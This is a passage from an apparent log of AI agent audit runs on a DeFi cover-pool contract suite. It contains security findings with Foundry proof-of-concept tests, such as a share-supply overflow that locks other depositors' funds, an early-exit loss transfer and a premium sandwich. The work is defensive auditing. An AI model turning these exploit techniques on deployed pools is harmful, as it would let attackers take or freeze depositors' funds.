}\n}","reproduction":"Fixture of Proof_28263dc012a5: Sepolia chain id, core certifies empty history, rate(6,5000)=1000/0 bps, lp holds 1100e18. Three cycles: deposit 1000e18; openPolicy(current+1,6,5000,1000e18,100e18); redeem shares worth exactly 100e18; certify six empty rounds; settle pays 1000e18; totalAssets == 0 after each cycle. Then stranger calls pool.deposit(1,1): succeeds, totalAssets == 1, stranger holds > half the supply. lp.previewRedeem(sharesOf(lp)) == 0 and lp.redeem(all,1) reverts Slippage. Expected: lp.deposit(1e18,1) succeeds and reopens the pool. Actual: reverts ShareSupplyExhausted(); the same holds for any deposit above ~1.8e9 atoms on every later block. Run: forge test --match-path test/scratch/JudgeResidualAtom.t.sol (fails with ShareSupplyExhausted()).","severity":"medium","snippet":"            if (_assets != 0) revert ShareSupplyExhausted();","title":"Share retirement only fires at exactly zero assets, so one residual atom after three complete losses leaves the pool permanently unable to accept capital (incomplete fix of 28263dc0)"},{"citation":"resolved","description":"settlementPending() returns true whenever the earliest open end round is at or below the frontier reported by reader.snapshot(). It never checks that the pending policy can actually be settled. settle() additionally needs reader.countZeroRounds(), which reverts CoreUnavailable when roundPage() reverts and MalformedPage when a page fails the reader's structural checks. In either state settle() can never succeed, settlementPending() stays true, and CoverPool.deposit()/redeem() revert SettlementPending for every LP for as long as the history endpoint is broken; before the gate existed the unreserved part of the pool stayed redeemable in exactly this situation. README line 37 and THREATS line 30 state that the gate fails open when the core cannot be read; that only holds when implementationCodeVersion(), configuration() or state() fail. SqueekCore is an upgradeable proxy run by another party, so a roundPage outage or a page shape the reader rejects, with version still 3, is the realistic case, and this revision turns what was a reserved-only lock into a lock of all LP liquidity. Reported by the independent tester; reproduced. Design-preserving fix: when earliest <= frontier, settlementPending() should also try reader.countZeroRounds(startRound, rounds) for one open id at openPolicyIdsEndingAt(earliest) (or expose a cheaper reader probe) and return false when it reverts. The extra reads run only on the already-failing path, so normal LP operations keep their current cost.","line":130,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Core whose metadata reads keep working while its history endpoint can be switched off.\ncontract HistoryOutageCore is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n    bool public pagesBroken;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function breakPages(bool value) external {\n        pagesBroken = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(!pagesBroken, \"core: history unavailable\");\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\n/// @notice The settlement gate is documented to fail open when the core cannot be read. It only probes\n/// snapshot(); when roundPage() fails, nothing can settle yet the gate stays closed and free liquidity is frozen.\ncontract GateFreezesOnHistoryOutageTest is Test {\n    HistoryOutageCore core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n    address lp = makeAddr(\"lp\");\n    address buyer = makeAddr(\"buyer\");\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        core = new HistoryOutageCore();\n        vm.warp(uint256(core.GENESIS()) + 100 * 600);\n        core.certify(100);\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 500, 0);\n        token.transfer(lp, 1000 ether);\n        token.transfer(buyer, 100 ether);\n        vm.stopPrank();\n        vm.startPrank(lp);\n        token.approve(address(pool), type(uint256).max);\n        pool.deposit(1000 ether, 1);\n        vm.stopPrank();\n        vm.startPrank(buyer);\n        token.approve(address(book), type(uint256).max);\n        book.openPolicy(102, 6, 5000, 100 ether, 5 ether, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function test_freeLiquidityStaysRedeemableWhenHistoryCannotBeReadAndNothingCanSettle() public {\n        core.certify(107);\n        vm.warp(uint256(core.GENESIS()) + 107 * 600);\n        core.breakPages(true);\n\n        // Nothing can settle in this state.\n        vm.expectRevert(CoreReader.CoreUnavailable.selector);\n        book.settle(1);\n\n        // Expected (documented): the gate fails open because the core cannot be read.\n        // Actual: settlementPending() is true and the LP's free 900 ether cannot be redeemed, for as\n        // long as the history endpoint is down.\n        assertFalse(book.settlementPending(), \"gate should fail open when nothing can settle\");\n        uint256 shares = pool.sharesOf(lp) / 10;\n        vm.prank(lp);\n        uint256 assets = pool.redeem(shares, 1);\n        assertGt(assets, 0);\n    }\n}","reproduction":"Self-contained core whose state()/configuration()/implementationCodeVersion() keep working while roundPage() reverts on a flag. lp deposits 1000e18; buyer opens policy 1 (start 102, N=6, T=50%, cover 100e18, rate 500/0 bps). Certify through 107 and switch roundPage off. book.settle(1) reverts CoreReader.CoreUnavailable. Expected: book.settlementPending() == false and lp.redeem(sharesOf(lp)/10, 1) returns ~100e18 from 900e18 of free assets. Actual: settlementPending() == true and the redeem reverts SettlementPending; deposits revert the same way, indefinitely. Run: forge test --match-path test/scratch/JudgeGateFreeze.t.sol (fails: 'gate should fail open when nothing can settle').","severity":"medium","snippet":"            return earliest <= frontier;","title":"Settlement gate probes only snapshot(), so a core whose roundPage() fails while its metadata still reads freezes every LP deposit and free-asset redemption although nothing can settle"},{"citation":"resolved","description":"The new gate blocks deposits and redemptions only once earliestOpenEnd <= frontier. A policy's outcome is fixed as soon as the certified prefix of its window contains ceil(N*T) zero-work rounds: for N=6, T=30% two certified zero rounds decide it with four rounds (40 minutes) still unknown; for N=144, T=30% the decided-but-unsettleable window can exceed 16 hours, and certification batches make such gaps routine. In that window redeem() still values shares against _assets including the doomed reservation and only caps at freeAssets(), so an LP leaves at full NAV and the buyer is later paid entirely from the LPs who stayed. This is the early variant that my earlier finding listed; the author closed the fully certified case and recorded this one in THREATS line 48 as a known limitation because closing it means either history reads inside LP operations or settling before the window ends. The loss transfer is the same size as the closed case. Two design-preserving options, which the requester must choose between: (a) let settle() succeed early when the certified prefix already meets the threshold (payout identical, the brief's 'anyone settles when frontier >= end' stays true) and track per-policy decision rounds (start + ceil(N*T/10000) - 1) in a second OpenEndRounds set so the gate engages when the earliest decision round is certified; or (b) accept the limitation explicitly in the launch decision. The attached proof passes under either code fix: it tolerates an early settle and only asserts that the staying LP keeps about half the pool.","line":182,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core fixture: sparse active records, settable frontier and batch limit.\ncontract EconCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier;\n    uint16 public maxRoundsPerBatch = 16;\n    RoundCheckpoint[] private _records;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setMaxRoundsPerBatch(uint16 value) external {\n        maxRoundsPerBatch = value;\n    }\n\n    function record(uint64 roundId, uint64 work) external {\n        LedgerPosition memory last = _positionAt(type(uint64).max);\n        _records.push(\n            RoundCheckpoint(\n                roundId,\n                last.cumulativeWork + work,\n                last.cumulativeBlockUnits + uint96(work) * 1e9,\n                10_875,\n                keccak256(abi.encode(roundId, work))\n            )\n        );\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = maxRoundsPerBatch;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n        result.blockUnitsPerBlock = 1e9;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        LedgerPosition memory position = _positionAt(frontier);\n        result.settledThroughRound = frontier;\n        result.cumulativeWork = position.cumulativeWork;\n        result.cumulativeBlockUnits = position.cumulativeBlockUnits;\n        result.workPerThousandBlocks = position.workPerThousandBlocks;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory result)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier, \"core: bounds\");\n        require(maxRecords <= maxRoundsPerBatch, \"core: batch\");\n        result.start = _positionAt(afterRound);\n        result.certifiedThroughRound = throughRound;\n        RoundCheckpoint[] memory records = new RoundCheckpoint[](maxRecords);\n        uint256 count;\n        for (uint256 i; i < _records.length; ++i) {\n            RoundCheckpoint memory checkpoint = _records[i];\n            if (checkpoint.roundId <= afterRound) continue;\n            if (checkpoint.roundId > throughRound) break;\n            if (count == maxRecords) {\n                result.certifiedThroughRound = checkpoint.roundId - 1;\n                break;\n            }\n            records[count++] = checkpoint;\n        }\n        assembly (\"memory-safe\") {\n            mstore(records, count)\n        }\n        result.rounds = records;\n        result.end = _positionAt(result.certifiedThroughRound);\n    }\n\n    function _positionAt(uint64 round) private view returns (LedgerPosition memory result) {\n        result.workPerThousandBlocks = 10_875;\n        for (uint256 i = _records.length; i != 0; --i) {\n            RoundCheckpoint memory checkpoint = _records[i - 1];\n            if (checkpoint.roundId <= round) {\n                return LedgerPosition(\n                    checkpoint.cumulativeWork, checkpoint.cumulativeBlockUnits, checkpoint.workPerThousandBlocks\n                );\n            }\n        }\n    }\n}\n\nabstract contract EconBase is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EconCore internal core;\n\n    function setUp() public virtual {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EconCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        uint16[4] memory durations = [uint16(6), 12, 24, 144];\n        uint16[3] memory thresholds = [uint16(3000), 5000, 7000];\n        for (uint256 i; i < 4; ++i) {\n            for (uint256 j; j < 3; ++j) {\n                model.setRate(durations[i], thresholds[j], 500, 1000);\n            }\n        }\n        token.mint(lp, 100_000 ether);\n        token.mint(alice, 100_000 ether);\n        token.mint(bob, 100_000 ether);\n        vm.stopPrank();\n        _deposit(lp, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        shares = pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function _open(address buyer, uint64 start, uint16 rounds, uint16 threshold, uint256 cover)\n        internal\n        returns (uint256 id, uint256 premium)\n    {\n        (premium,) = book.quote(start, rounds, threshold, cover);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        id = book.openPolicy(start, rounds, threshold, cover, premium, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function _certify(uint64 end) internal {\n        core.setFrontier(end);\n        uint256 endTime = uint256(GENESIS) + uint256(end) * 600;\n        if (endTime > block.timestamp) vm.warp(endTime);\n    }\n}\n\n/// Fails now: once the certified prefix of a window already contains ceil(N*T) zero-work rounds the\n/// payout is fixed, but the settlement gate only engages at full certification, so an LP still exits\n/// at the pre-loss share price. Either an early-settlement rule or a gate keyed on decidability passes.\ncontract JudgeEarlyCertaintyExit is EconBase {\n    function test_lossIsSharedOnceTheOutcomeIsFixedByCertifiedHistory() public {\n        uint256 bobShares = _deposit(bob, 1000 ether);\n        (uint256 id, uint256 premium) = _open(alice, START, 6, 3000, 1000 ether);\n        assertEq(premium, 100 ether);\n        // Rounds START and START+1 certified with no work: 2 >= ceil(6 * 30%), so C is owed whatever follows.\n        _certify(START + 1);\n        // Whatever the fix: an exit in this state must not escape the certain loss.\n        try book.settle(id) {} catch {}\n        vm.prank(bob);\n        try pool.redeem(bobShares, 1) {} catch {}\n        _certify(START + 5);\n        if (book.getPolicy(id).status == PolicyBook.Status.Open) assertEq(book.settle(id), 1000 ether);\n        assertEq(pool.reserved(), 0);\n        // Both LPs funded the 1000 cover equally; each should carry about 500 of the loss.\n        assertGe(pool.previewRedeem(pool.sharesOf(lp)), 500 ether, \"lp left holding the whole loss\");\n    }\n}","reproduction":"Fixture: rate(6,3000)=500/1000 bps; lp and bob each deposit 1000e18 (equal shares). alice opens start 102, N=6, T=3000, cover 1000e18: premium 100e18, totalAssets 2100e18, reserved 1000e18. Core certifies rounds 102..103 with no records (frontier 103): 2*10000 >= 6*3000, payout certain; settle(id) reverts UnknownRounds(107,103) and settlementPending() is false. bob.redeem(allShares,1) returns 1049999999999999999999. Certify through 107, settle pays 1000e18. Expected: each LP ends near 550e18. Actual: lp.previewRedeem(all) == 50000000000000000001, bob +50e18. Run: forge test --match-path test/scratch/JudgeEarlyCertainty.t.sol (fails: 'lp left holding the whole loss'). The economics specialist's Proof_8e81baf4a374 fails the same way on this code.","severity":"medium","snippet":"        _openEnds.add(endRound);","title":"Gate keys on the end round, so an LP still exits at the pre-loss share price once certified history has fixed a payout before the window is fully certified (residual of f979b24c)"},{"citation":"resolved","description":"lockCover credits the whole premium to NAV at the sale and redeem() lets a depositor leave in the same block while free assets remain, so capital present only around the sale captures a pro-rata share of the premium and, because PremiumModel prices utilization against totalAssets(), lowers the surcharge the buyer pays. Still reproducible on this revision (Proof_7daba0289f94 fails). The author disputed it on the ground that every suggested mitigation (pending premiums, accrual over the window, a deposit-to-redeem delay) breaks the held proofs Proof_d1319029246b and Proof_28263dc012a5, which redeem the premium in the sale block and deposit-then-redeem in one transaction; that is correct as those proofs are written, although the same-block steps were setup convenience rather than the point of either proof and could be relaxed if the requester wants a hold period. Exposure is bounded by one sale's premium, never touches reserved cover, and is now stated in THREATS line 46 with slopeBps = 0 as the firm-price mitigation. Downgraded to low: a documented economic tradeoff for the requester to accept or re-scope, not a blocking defect.","line":182,"path":"src/CoverPool.sol","reproduction":"Fixture: rate(6,5000)=500/1000 bps; lp deposited 1000e18. book.quote(102,6,5000,500e18) == 50e18. bob deposits 9000e18. alice's openPolicy(102,6,5000,500e18,50e18,deadline) executes: utilization 500/10000, rate 550 bps, premium 27.5e18. bob redeems all shares in the same block and receives 9024749999999999999999. Expected: a depositor present only for the sale block cannot leave with more than deposited. Actual: +24.75e18 risk-free; lp's shares are worth 1002.75e18 instead of 1050e18 while carrying the whole 500e18 reservation. Run: forge test --match-path test/scratch/Proof_7daba0289f94.t.sol (fails: 9024749999999999999999 > 9000000000000000000000).","severity":"low","snippet":"        _assets += premium;","title":"Immediate premium recognition plus same-block redemption lets a sandwiching depositor take most of a sale's premium and depress the buyer's price (disputed design limitation, now documented)"},{"citation":"resolved","description":"openPolicy accepts cover = 1 atom (premium rounds up to 1 atom). With the new gate, every open policy whose window is certified blocks all deposits and redemptions until it is settled, and settlement is per policy with up to nine page reads each. An actor who opens many dust policies on the same window, or one per round so that some certified policy is always open, makes every LP who wants to move settle them first; openPolicyIdsEndingAt also grows without pruning. Value is never at risk and the cost is roughly symmetric (the attacker pays gas per open), so this is a liveness nuisance introduced by the gate rather than a loss. Reported by the independent tester; reproduced by the project's own test. A minimum cover or premium in PolicyBook.quote, or settling several ids in one call, bounds it.","line":176,"path":"src/CoverPool.sol","reproduction":"Fixture test/helpers/CoverFixture (lp 1000e18, rates 500/1000 bps). bob opens 20 policies openPolicy(102,6,5000,cover=1,maxPremium=1,deadline); each quote returns 1. Certify through 107: settlementPending() == true. After each of settle(1)..settle(19), lp.redeem(slice,1) reverts SettlementPending; only after settle(20) does it succeed. Expected: dust cannot impose per-policy settlement work on LPs. Run: forge test --match-test test_dustPoliciesMustEachBeSettledBeforeLpsCanMove (passes by asserting the behaviour).","severity":"low","snippet":"        if (cover == 0 || premium == 0) revert InvalidAmount();","title":"No minimum cover: one-atom policies each close the LP gate until individually settled, taxing LP liveness at one atom of premium apiece"}],"hash":"3102263c87ece9f814696c5741df61c1ccb70e9ebaa284094d569031e3f35e6d","nodeId":"30e336ce-a87c-4e57-bfd1-d40083546476","outcome":"completed","summary":"Review complete. The findings file is written with five findings and a full coverage record, and no tracked file was changed.\n\n**Earlier findings settled**\n\n- **Share-supply overflow (high, d1319029): fixed.** The held proof passes. The bound on total shares plus the non-panicking multiply make every preview safe, and the attacker's top-up is refused.\n- **Unbounded startRound (high, c73837eb): fixed.** Quotes beyond 1008 rounds past the clock revert with `StartTooFar`. Both held proofs pass.\n- **Batch-limit pin bricks settlement (medium, 230f157c): fixed.** Pages are requested at the smaller of 16 and the core's limit, and the suite settles at limits 32 and 4.\n- **Early LP exit before settle (medium, f979b24c): partly fixed.** The fully certified case and the settle front-run are closed. The early-certainty variant I listed in the original finding still reproduces, so it is kept as finding 3.\n- **Recapitalization after total losses (medium, 28263dc0): fix does not hold.** Retirement only fires at exactly zero assets. One atom, placed by anyone or left by ordinary rounding, disables it forever. Kept as finding 1 with a failing proof.\n- **JIT premium sandwich (medium, disputed): downgraded to low.** It still reproduces, but the author is right that every suggested mitigation breaks the held proofs. It is now documented.\n- **Split-purchase pricing (low, disputed): dropped.** The held proof pins the single-purchase formula.\n- **Checksums and live-frontier notes (info): fixed.** The recompute prints zero mismatches and LAUNCH.md carries the frontier precondition.\n\n**New this round**\n\n- **Gate freeze on history outage (medium, finding 2).** The tester's finding reproduces. When roundPage fails while version, state and configuration still read, nothing can settle, yet the gate stays closed and all LP liquidity is frozen. Before the gate, free assets were redeemable in that state.\n- **Dust policies tax LP liveness (low, finding 5).** Reproduced by the project's own test.\n\n**Proofs** are attached to the three mediums, each failing on this code for the stated reason. The early-certainty proof tolerates either an early-settlement rule or a decidability gate, so the requester keeps the scope choice.\n\n**Coverage:** 21 of 21 entry points answered, none unreached. The remaining open questions are two scope decisions for the requester: whether to close the early-certainty window and whether to accept the sandwich exposure.","treeHash":null,"usage":{"cachedInputTokens":1387388,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":42147,"runtime":"claude","turns":29,"wallClockMs":625271}},{"artifacts":[],"attempt":1,"bundleHash":"36707850714e9afda0c5c557a0194e0538e20e8eea8c023c8d0adadbb180bd69","device":"0eca5d6d7ad6ddb4","findings":[{"description":"The brief says 'Anyone settle when frontier>=end'. settle() and review() now also settle a policy before the frontier reaches endRound, as soon as the certified prefix fixes the outcome (enough certified zero-work rounds to pay, or enough certified active rounds that the threshold is unreachable). The payout decision is sound: EarlyDecisionProperties.t.sol checks over 1,000 fuzz runs that every early decision equals the outcome of both the best and the worst completion of the window, and the invariant campaign checks the LP gate's soundness. But holders are paid, and LP reserves released, up to N-1 rounds earlier than the brief describes. README.md documents this as intended. The requester should confirm they accept the design change; no fix is needed if they do.","line":250,"path":"src/PolicyBook.sol","reproduction":"Open N=6, T=30% at startRound 102 with no recorded work. Certify through round 103 (frontier 103 < endRound 107). Expected under the brief's literal rule: settle reverts until frontier >= 107. Actual: settle(1) pays the full cover at frontier 103 (testFuzz_openingDecideRoundIsTheFirstRoundThatCouldPay).","severity":"info","title":"Settlement before frontier >= endRound departs from the brief's settlement rule"}],"hash":"39faaa5472e159e1db9999f5a05ab0adbc426fd013ef79a0db230825fe4145a4","nodeId":"b71083fc-956f-45f5-80d9-9d0cfe1c8671","outcome":"completed","summary":"I've updated the test suite for the new early-settlement design. `forge build` succeeds, and `forge test` with the verifier's seed passes all 127 tests in 18 suites.\n\n**What broke and why.** The implementation now lets `settle` (and the new `review`) run before the frontier reaches the window's end, once the certified rounds so far already fix the outcome. It also keys the LP gate on each policy's \"decide round\" (the earliest round whose certification could fix a payout). Four of my earlier tests still assumed the old end-of-window rule, so they failed. I rewrote them to check the new rules. They now pass because they test the new rules, not because the checks got weaker.\n\n**What I changed (only under `test/`):**\n- **`test/EarlyDecisionProperties.t.sol` (new, 1,000 fuzz runs):** for every product, random history and any number of certified rounds, the outcome is compared against the best and worst ways the rest of the window could turn out. I computed these from the brief's rule (zeroRounds/N ≥ T) directly, not from the contract's shortcut.\n  - When both cases agree, `settle` and `review` must give exactly that outcome, and the policy can never be reopened.\n  - When they disagree, `settle` reverts `Undecided`, `review` moves the decide round to exactly the first round that could pay, and no value moves.\n  - Plain tests cover the opening decide round for every product, a chain of reviews ending in early expiry, unknown policy ids, and history that can't be read. Another shows a policy whose expiry is already certain leaves the gate open without changing the share price, which is why that is safe.\n- **`test/SolvencyInvariant.t.sol`:** the random-sequence handler now checks settlement against its own independent model, and has a new `review` action. After every call it checks that:\n  - the gate is closed exactly when some open policy's decide round has been certified;\n  - `earliestDecideRound` matches a simple scan of all policies;\n  - no open policy whose payout is already certain is hidden from the gate.\n\n  A new plain test drives the review and early-payout paths, so the random runs can't pass without reaching them. 256 runs × 64 calls, no unexpected reverts.\n- **`test/PolicyFailureMatrix.t.sol` and `test/SettlementGateAdversarial.t.sol`:** the \"frontier one round short\" and \"later window\" tests now check the new behaviour: undecided versus early expiry, and the gate reopened by a review.\n- **`test/README.md`:** records this revision and the status of earlier findings.\n\n**Earlier findings.** The medium one is fixed: when only the round history can't be read, the gate now opens instead of staying closed, and a test checks that. The low one (one-atom \"dust\" policies each needing a settle or review before LPs can move) is now documented in `THREATS.md` as an accepted cost.\n\n**New finding (`.imd-findings.json`, info):** the brief says \"Anyone settle when frontier≥end\", but the contract now settles earlier when the outcome is already certain. The tests show the early result always matches settling at the end, so no value is at risk. Still, holders are paid and LP reserves freed up to N−1 rounds sooner than the brief says. The requester should confirm they accept that change. I found no new defect in the early-decision or gate code.\n\nI did not commit anything.","treeHash":"1dc046833876b0f9d5c990b8bd52c0977a3e57e2","usage":{"cachedInputTokens":1658020,"inputTokens":44,"model":"claude-opus-5-5","outputTokens":33899,"runtime":"claude","turns":28,"wallClockMs":413888}},{"artifacts":[],"attempt":1,"bundleHash":"870c602c4a1b1b7f449fef148e6818b26c0c55477c743577271c65586f7954fe","device":"bfffb5246a55ee5d","findings":[{"description":"MockSQK's constructor reverted when deployed as the launch deploys it, on a chain where no other contract exists: take outside values as arguments and check the live contract on first use\n\nRepair: this contract's owner()/admin()/getOwner()/DEFAULT_ADMIN_ROLE resolves to the launch factory (the msg.sender at deploy) or to IMD (tx.origin or the launch wallet). Three ways to fix: (1) if this contract does not need an admin, remove the Ownable/AccessControl inheritance; (2) if it needs an admin but not IMD, add an explicit `address owner_` constructor argument and call `_transferOwnership(owner_)` in the constructor, then reference it from the manifest's `$owner` resolver so the launch sets a real address; (3) if it needs no further admin after deploy, call `renounceOwnership()` at the end of the constructor. A requester's app that IMD controls is not what the launch promises; a hook or token the factory can upgrade or pause is also refused.","line":null,"path":"src/MockSQK.sol","reproduction":"The verifier deployed the manifest's contracts as the launch deploys them: from the launch factory (msg.sender), with IMD's launch wallet as tx.origin and $owner set, then read owner(), admin(), getOwner() and the admin role, and for a hook opened, seeded, traded and collected the pool from the factory (test/protected/evm_contracts/Owners.protected.t.sol in the protected floor).","severity":"high","title":"MockSQK is owned by the launch factory or by IMD"}],"hash":"447e2143c08d6e85c517bec667688a9ed6b6a64e34928fa70c5a5a2dd79b640e","nodeId":"9fb13720-b5b2-4a47-b60a-9c037b60d44c","outcome":"completed","summary":"Created [launch.json](/home/startover/.identitymd/work/f31056b6-bfd7-4e25-afd1-461d53d2a210/9fb13720-b5b2-4a47-b60a-9c037b60d44c/launch.json) with all five contracts, verified constructor wiring, and owner activation notes.\n\n`forge build` succeeded. All 64 tests passed with the supplied fuzz seed. Manifest fields and arguments passed local checks against compiled ABIs.\n\nOnly `launch.json` is included in the changes.","treeHash":"302683b09a683c129672367afbef90ee16bb2b0e","usage":{"cachedInputTokens":288000,"inputTokens":43120,"model":"gpt-6-astra","outputTokens":3162,"runtime":"codex","turns":3,"wallClockMs":76602}},{"artifacts":[],"attempt":1,"bundleHash":"66b6f5c12fd2f68f695249f555b82592dcf3373547b9679bba41b92d93d1dac5","device":"fef70a876212b4f0","findings":[{"description":"deposit checks that totalShares itself fits uint256, but not that totalShares + VIRTUAL_SHARES fits. Both previewDeposit and previewRedeem add that virtual offset (lines 93 and 97). After ordinary fully covered losses leave worthless shares outstanding, an unprivileged LP can deliberately reach totalShares = 2**256 - 1_000_000 with a successful deposit. Every later deposit/redemption then panics when adding VIRTUAL_SHARES. The supplied proof locks a separate LP's 1 SQI while reserved is zero and the pool holds sufficient collateral. No administrative operation or recovery path can reduce these shares because redeem itself always panics. Preconditions are three qualifying certified zero-work windows and the attacker initially being the sole LP; no owner privileges, malicious collateral, forged storage or unknown-round settlement is used. Reserve headroom for the virtual offset on share issuance, and address outstanding worthless-share growth separately. A scratch-only copy with an explicit headroom guard rejects the malicious top-up and passes this proof; production was not modified.","line":107,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\ncontract CertifiedEmptyHistoryForShares is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract ShareDenominatorProofTest is Test {\n    CertifiedEmptyHistoryForShares core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n\n    function test_otherLpCanRedeemAfterAdversarialShareGrowth() public {\n        vm.chainId(11_155_111);\n        core = new CertifiedEmptyHistoryForShares();\n        vm.warp(core.GENESIS());\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        // A supported, constant 10% premium. The same user is LP and buyer.\n        model.setRate(6, 5000, 1000, 0);\n        token.transfer(address(this), 1100 ether);\n        vm.stopPrank();\n        // From here, the test is an ordinary LP/buyer with no administrative role.\n        token.approve(address(pool), type(uint256).max);\n        token.approve(address(book), type(uint256).max);\n        uint256 originalBalance = token.balanceOf(address(this));\n        for (uint64 cycle; cycle < 3; ++cycle) {\n            pool.deposit(1000 ether, 1);\n            (, uint64 current,) = reader.snapshot();\n            uint64 start = current + 1;\n            uint256 id = book.openPolicy(start, 6, 5000, 1000 ether, 100 ether, block.timestamp);\n            // Redeem exactly the free premium before the certified full payout.\n            uint256 shares = _sharesForAssets(100 ether);\n            assertEq(pool.redeem(shares, 100 ether), 100 ether);\n            uint64 end = start + 5;\n            core.certify(end);\n            vm.warp(uint256(core.GENESIS()) + uint256(end) * 600);\n            assertEq(book.settle(id), 1000 ether);\n            assertEq(pool.totalAssets(), 0);\n            assertEq(pool.reserved(), 0);\n            assertEq(token.balanceOf(address(this)), originalBalance);\n        }\n        // One atom allows a positive redemption that burns arbitrary worthless shares.\n        pool.deposit(1, 1);\n        uint256 retained = (uint256(1) << 196) - pool.VIRTUAL_SHARES();\n        assertEq(pool.redeem(pool.sharesOf(address(this)) - retained, 